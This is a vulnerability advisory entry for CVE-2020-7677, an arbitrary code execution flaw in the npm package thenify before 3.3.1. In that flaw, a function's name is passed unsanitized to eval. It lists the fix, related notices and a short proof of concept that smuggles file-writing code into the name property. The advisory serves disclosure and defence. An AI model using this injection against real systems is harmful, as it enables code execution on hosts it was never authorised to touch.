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CVE-2020-7677: Snyk Vulnerability Database | Snyk

This affects the package thenify before 3.3.1. The name argument provided to the package can be controlled by users without any sanitization, and this is provided to the eval function without any sanitization.

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  • snyk-id

    SNYK-JS-THENIFY-571690

  • published

    15 Jun 2020

  • disclosed

    15 Jun 2020

  • credit

    JHU System Security Lab

How to fix?

Upgrade thenify to version 3.3.1 or higher.

Overview

thenify is a Promisify a callback-based function using any-promise.

Affected versions of this package are vulnerable to Arbitrary Code Execution. The name argument provided to the package can be controlled by users without any sanitization, and this is provided to the eval function without any sanitization.

PoC

var a = require("thenify");
var attack_code = "fs=require('fs');fs.writeFile('Song', 'test',function(){})";
function cur(){};
Object.defineProperty(cur, "name", { value: "fake() {" + attack_code + ";})();(function(){//"});
a(cur);

Related news

Ubuntu Security Notice USN-6016-1

Ubuntu Security Notice 6016-1 - It was discovered that thenify incorrectly handled certain inputs. If a user or an automated system were tricked into opening a specially crafted input file, a remote attacker could possibly use this issue to execute arbitrary code.

GHSA-29xr-v42j-r956: thenify before 3.3.1 made use of unsafe calls to `eval`.

Versions of thenify prior to 3.3.1 made use of unsafe calls to `eval`. Untrusted user input could thus lead to arbitrary code execution on the host. The patch in version 3.3.1 removes calls to `eval`.

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